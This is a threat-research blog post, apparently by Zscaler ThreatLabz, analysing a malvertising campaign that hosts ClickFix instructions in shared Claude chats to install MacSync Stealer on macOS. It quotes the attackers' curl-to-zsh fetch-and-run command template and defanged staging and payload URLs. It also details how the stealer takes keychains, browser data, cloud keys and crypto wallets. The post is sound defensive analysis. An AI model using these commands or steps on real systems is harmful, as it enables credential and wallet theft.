惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
P
Privacy International News Feed
D
Darknet – Hacking Tools, Hacker News & Cyber Security
C
CXSECURITY Database RSS Feed - CXSecurity.com
Cisco Talos Blog
Cisco Talos Blog
S
Schneier on Security
Project Zero
Project Zero
T
Threatpost
Spread Privacy
Spread Privacy
阮一峰的网络日志
阮一峰的网络日志
C
Cybersecurity and Infrastructure Security Agency CISA
AWS News Blog
AWS News Blog
H
Heimdal Security Blog
V
Visual Studio Blog
Google DeepMind News
Google DeepMind News
P
Privacy & Cybersecurity Law Blog
J
Java Code Geeks
罗磊的独立博客
博客园 - Franky
博客园 - 叶小钗
S
Security Affairs
月光博客
月光博客
Application and Cybersecurity Blog
Application and Cybersecurity Blog
The Last Watchdog
The Last Watchdog
WordPress大学
WordPress大学
人人都是产品经理
人人都是产品经理
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
A
Arctic Wolf
Cloudbric
Cloudbric
www.infosecurity-magazine.com
www.infosecurity-magazine.com
V2EX - 技术
V2EX - 技术
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
L
LINUX DO - 最新话题
Y
Y Combinator Blog
宝玉的分享
宝玉的分享
酷 壳 – CoolShell
酷 壳 – CoolShell
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
N
News | PayPal Newsroom
Hugging Face - Blog
Hugging Face - Blog
美团技术团队
W
WeLiveSecurity
云风的 BLOG
云风的 BLOG
The Register - Security
The Register - Security
I
InfoQ
F
Fortinet All Blogs
T
The Exploit Database - CXSecurity.com
S
SegmentFault 最新的问题
Recent Announcements
Recent Announcements
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
L
Lohrmann on Cybersecurity

Security Research | Blog

Targeted Attack on Middle East Govts (Part 1) | ThreatLabz Why Do F1 Teams Need Cybersecurity, and What Is AI’s Role? Indirect Prompt Injection Targets AI Agents | ThreatLabz Splunk Enterprise RCE (CVE-2026-20253) | ThreatLabz Edgecution: Malicious Edge Extension Backdoor | ThreatLabz SmartApeSG Supply Chain Attack Targets Okendo | ThreatLabz AI Generated ClickFix Attack Delivers SmartRAT | ThreatLabz What the ThreatLabz 2026 Phishing and Initial Access Report Means for the Public Sector | Zscaler Shai-Hulud: Miasma, Hades, & AI Scanner Evasion | ThreatLabz Zscaler ThreatLabz 2026 Phishing and Initial Access Report Technical Analysis of MLTBackdoor | ThreatLabz When the Scanner Starts Thinking: Learnings from Mythos & GPT 5.5 Cyber in Security Testing | Zscaler OpenClaw Skill Distributes Remcos & GhostLoader | ThreatLabz Tropic Trooper: AdaptixC2 + Custom Beacon | ThreatLabz Do not delete blog (testing) | Zscaler Payouts King Takes Aim at the Ransomware Throne | ThreatLabz The Alibaba Incident and Why Zero Trust Matters More Than Ever In-Memory Loader Drops ScreenConnect | ThreatLabz Supply Chain Attacks Surge in March 2026 | ThreatLabz Claude Code Leak: Critical AI Security Threat 2026 Latest Xloader Obfuscation Code & C2 Protocol | ThreatLabz CVE-2026-20131: Analysis of FMC RCE | ThreatLabz Technical Analysis of SnappyClient | ThreatLabz China-nexus Group Targets Arabian Gulf Region | ThreatLabz Middle East Conflict Fuels Cyber Attacks | ThreatLabz Dust Specter APT Targets Gov’t Officials in Iraq | ThreatLabz APT37 Adds New Tools For Air-Gapped Networks | ThreatLabz GuLoader Malware Obfuscation Techniques Analyzed GuLoader Obfuscation Analysis | ThreatLabz Technical Analysis of Marco Stealer | ThreatLabz Latest Public Sector AI Adoption Trends: What Government, Healthcare, and Education Security Teams Need to Know | Zscaler Operation Neusploit: APT28 Uses CVE-2026-21509 | ThreatLabz 7 Predictions for 2026 | Zscaler SHEETCREEP, FIREPOWER, and MAILCREEP Analysis | ThreatLabz AI is Now Default Enterprise Accelerator: Takeaways from ThreatLabz 2026 AI Security Report | Zscaler GOGITTER, GITSHELLPAD, and GOSHELL Analysis | ThreatLabz Malicious NPM Packages Deliver NodeCordRAT | ThreatLabz What’s Powering Enterprise AI in 2025: ThreatLabz Report Sneak Peek | Zscaler BlindEagle Deploys Caminho and DCRAT | ThreatLabz Technical Analysis of the BlackForce Phishing Kit | ThreatLabz React2Shell RCE Vulnerability (CVE-2025-55182) | ThreatLabz Shai-Hulud V2 Poses Risk to NPM Supply Chain | ThreatLabz Technical Analysis of Matanbuchus 3.0 | ThreatLabz In-Depth Analysis: Water Gamayun APT Multi-Stage Attack Uncovered CVE-2025-50165: Windows Graphics Component Flaw | ThreatLabz Mobile, IoT, and OT Risks Converge in the Public Sector | Zscaler Industry Attacks Surge, Mobile Malware Spreads: The ThreatLabz 2025 Mobile, IoT & OT Report | Zscaler Zscaler Discovers Vulnerability in Keras Models Allowing Arbitrary File Access and SSRF (CVE-2025-12058) | Zscaler F5 Security Incident Advisory | Zscaler Under the Radar: How Non-Web Protocols Are Redefining the Attack Surface | Zscaler SEO Poisoning Targets Ivanti VPN: Credential Theft Alert Cisco Firewall and VPN Zero Day Attacks | ThreatLabz COLDRIVER Adds BAITSWITCH and SIMPLEFIX | ThreatLabz YiBackdoor: Linked to IcedID and Latrodectus | ThreatLabz Technical Analysis of Zloader Updates | ThreatLabz Mitigating Risks from the Shai-Hulud NPM Worm | ThreatLabz Malicious PyPI Packages Deliver SilentSync RAT | ThreatLabz Technical Analysis of SmokeLoader Version 2025 | ThreatLabz Technical Analysis of kkRAT | ThreatLabz APT37: Rust Backdoor & Python Loader | ThreatLabz Anatsa’s Latest Updates | ThreatLabz Termncolor and Colorinal Explained | ThreatLabz GenAI Used to Impersonate Brazil’s Govt Websites | ThreatLabz Tracking Updates to Raspberry Robin | ThreatLabz Ransomware Surges, Extortion Escalates: ThreatLabz 2025 Ransomware Report | Zscaler China-nexus APT Targets the Tibetan Community | ThreatLabz CVE-2025-53770 | ThreatLabz Black Hat SEO Poisoning Search Engine Results For AI | ThreatLabz
ClaudeFix: Shared Claude Chats Meet ClickFix | Zscaler
Ruchna Nigam · 2026-07-15 · via Security Research | Blog

Technical Analysis

The Zscaler Threat Hunting team observed multiple stages in this ClickFix attack chain.

First stage

The victim searches for a term such as “claude download” in a search engine and sees a paid ad in the results that points to a shared Claude chat link. From the start, the use of the official Claude domain adds legitimacy to the search result. The victim clicks on the paid ad and is redirected to a shared Claude chat, as shown in the figure below. 

MacSync Stealer ClickFix instructions hosted in a shared Claude chat.

Figure 1: MacSync Stealer ClickFix instructions hosted in a shared Claude chat.

Aside from the hosting platform itself being legitimate, threat actors also crafted the content to appear authentic. The chat is labeled “Shared by Apple Support” in the top right corner. The threat actors likely achieved this by setting their Claude display name as “Apple Support,” causing this label to appear when the shareable link is generated. 

The installation command the victim is instructed to run is a curl command with the destination URL obfuscated using Base64 encoding. The command typically follows the format: 

curl -kfsSL $(echo '[base64_string]'|base64 -D)|zsh 

The Base64-encoded string usually decodes to a URL in the format http://[domain]/curl/[a-f0-9]{64}$, which serves as the first stage of the MacSync Stealer infection. A curl request to this URL returns a Z shell (zsh) script, which is then piped directly to zsh, as specified at the end of the installation command.

An example of the MacSync Stealer staging URL is the following: 

http://lasvegaslaminateflooring[.]com/curl/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb

The zsh script returned from this URL contains a blob that is first Base64-decoded then decompressed using gzip to reveal a second-stage script. This second-stage script is executed in the terminal using the eval command shown at the end of the figure below.

Example Zsh script returned by the example first-stage URL distributing MacSync Stealer.

Figure 2: Example Zsh script returned by the example first-stage URL distributing MacSync Stealer.

Second stage

Functionally, this second-stage zsh script first redirects all output to /dev/null, essentially hiding all visible indications of execution. Next, the script downloads the third stage of MacSync Stealer, which contains the core stealing functionality, from a URL in the format $domain/dynamic?txd=$token, using the HTTP header api-key: $api_key (the values of $domain$token, and $api_key are hardcoded in the script). The downloaded content is then piped directly to osascript, leaving no file trace on the affected system.

Finally, the second-stage zsh script checks for the presence of a file named /tmp/osalogging.zip, which is expected to contain the sensitive information collected from the affected system. If the file exists and is non-zero in size, the script exfiltrates the collected data in 10MB chunks via HTTP PUT requests to a URL in the format:

$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks 

In this scheme, $domain and $token are hardcoded in the script, $upload_id is generated per system based on the date and a randomly generated number, $total_chunks is calculated by dividing the file size by 10MB, and $i is set by the loop counter as each chunk is sent. The script retries each chunk upload up to eight times if the upload fails.

After exfiltration is completed, the script deletes /tmp/osalogging.zip from the system, thereby leaving no trace of MacSync Stealer on the system.

Third stage

The third stage of the malware containing the core stealing functionality has the following capabilities: 

  • Tries to access ~/Library/Cookies/, likely to gauge the access level at which the script is running. If access fails, 

    • The malware modifies ~/.zshrc to append a curl command that downloads the MacSync second-stage script and pipes the output to zsh. The command has the same format as the command pasted and run by the user in the first stage. This functionality implements persistence ensuring the second-stage script is downloaded and executed each time the terminal is opened. 
    • It also prompts the victim to grant full disk access by showing a prompt saying "Please allow access and reopen the terminal" with title "Full Disk Access required!" and then opening the Security & Privacy pane where this setting can be enabled.

    If access is successful, the script removes the curl command implementing persistence from ~/.zshrc and continues with the steps below.

  • Creates the directory /tmp/macsync_0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb.lock which serves as a lock file indicating the information stealer is running.
  • Tricks the victim into entering their macOS password by showing a fake prompt.
  • Gathers stolen information into the directory /tmp/sync[randomNumber] with the capabilities described in the table below: 

Category

Capability

Credential access

Copies all keychain files (~/Library/Keychains/*.keychain-db).

Copies files from the folders Network/CookiesCookiesWeb DataLogin Data in the local browser-specific storage paths for Chromium-based browsers to the folder Browsers (a list of targeted Chromium-based browsers and their browser-specific paths can be found in the Appendix).

Copies browser files from Gecko-based browsers that may contain credentials (cookies.sqlite, cookies.sqlite-wal, cookies.sqlite-shm, formhistory.sqlite, formhistory.sqlite-wal, formhistory.sqlite-shm, key4.db, places.sqlite, places.sqlite-wal, places.sqlite-shm, signons.sqlite, cert9.db, logins.json, logins-backup.json) into the Browsers folder (a list of targeted Gecko-based browsers and their browser-specific paths can be found in the Appendix).

Searches for known browser extensions used as password managers in Chromium-based browsers and copies relevant local files into an Extensions folder (a list of targeted extensions can be found in the Appendix).

Discovery

Performs system discovery and populates a file called info with the victim’s username and password, along with device fingerprinting information such as software, hardware, and graphics information.

Gathers information about running processes and writes the results to SystemInfo/running_apps.txt and SystemInfo/processes.txt.

Collection

Copies shell configuration and history files (.zshrc, .zsh_history, .bash_history, .gitconfig) and potential cloud keys from ~/.ssh, ~/.aws~/.kube into a Profile folder.

Copies Telegram application files from /Users/[username]/Library/Application Support/Telegram Desktop/tdata/ to the folder Telegram Desktop.

Gathers files from selected directories (DownloadsDocuments, and Desktop) matching the extensions pdf, docx, doc, wallet, key, keys, db, txt, seed, rtf, kdbx, pem, and ovpn, and then stores them in a FileGrabber folder. The malware also targets select high-value files (including Safari Cookies/Autofill/History artifacts and Apple Notes files) and stores them in the same folder.

Cryptocurrency Chrome extension enumeration & collection

Searches for known Chromium extensions associated with cryptocurrency wallets and copies relevant local files into a Wallets/Web folder (a list of targeted extensions can be found in the Appendix).

Cryptocurrency desktop wallet application enumeration & collection

Copies entire folders corresponding to popular desktop cryptocurrency wallet applications into the Wallets/Desktop folder (a list of targeted folders can be found in the Appendix).

Table 1: MacSync Stealer data theft capabilities.

  • All data collected under /tmp/sync[randomNumber] is compressed into /tmp/osalogging.zip, which is then exfiltrated as described in the previous stage. After creating the archive, MacSync Stealer deletes the /tmp/sync* directory and removes the lock directory.
  • Finally, MacSync Stealer attempts to download three additional payloads if the applications Ledger Wallet, Ledger Live, and Trezor Suite respectively are present on the affected system from the following URLs:

    • lasvegaslaminateflooring[.]com/ledger/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb
    • lasvegaslaminateflooring[.]com/ledger/live/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb
    • lasvegaslaminateflooring[.]com/trezor/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb

    These payloads could not be retrieved at the time of analysis, but they are likely trojanized versions of the aforementioned applications.

Malvertising campaign observations

Since Zscaler Threat Hunting analyzes Zscaler Internet Access (ZIA) logs across customers, we were able to obtain broader visibility into the scope of this campaign. This campaign appears to have been short-lived, running from June 12–19, 2026. Based on the UTM parameters observed in the traffic, we determined the following: 

  • The source of the ad links was always Google.
  • We observed 22 unique campaign IDs.
  • We observed the following 7 unique utm_term values: 
    • claude
    • claude ai
    • claude code
    • claude mac
    • ai claude
    • claude code desktop mac
    • claude 客户 端 (client)

Zscaler Threat Hunting observed the malicious domains used in these ClickFix / MacSync Stealer campaigns adopted themes related to local services in U.S. cities. The list below shows a subset of domains following this pattern (a complete list is provided in the IOCs section at the end of this blog post):

  • realtorsmichigan[.]com
  • centralfloridapowerwash[.]com
  • syracusefertilitycenter[.]com
  • dogtrainersgeorgia[.]com
  • lasvegaslaminateflooring[.]com
  • moldinspectiondayton[.]com
  • newjerseypetsitter[.]com
  • miamipcsupport[.]com
  • lifecoachrochester[.]com
  • cabinrentalsnc[.]com
  • floridavacationvillarental[.]com
  • lasvegasweddingreception[.]com
  • dallasirrigationservices[.]com
  • toledotreeservices[.]com
  • homeinspectionsdelaware[.]com
  • chicagometalscrap[.]com

We also observed Russian-language comments in the third-stage AppleScript payload, suggesting the threat actor behind these attacks is likely Russian-speaking. The table below shows examples of these comments and their translation:

Russian-Language Comment

Translation

-- Простое копирование всех важных файлов (включая WAL/SHM)

-- Easily copy all important files (including WAL/SHM)

-- Убрана хрупкая SafeSQLiteCopy (часто падала когда Firefox запущен)

-- Removed fragile SafeSQLiteCopy (frequently crashed when Firefox was running)

Table 2: Russian-language comments and their corresponding translations.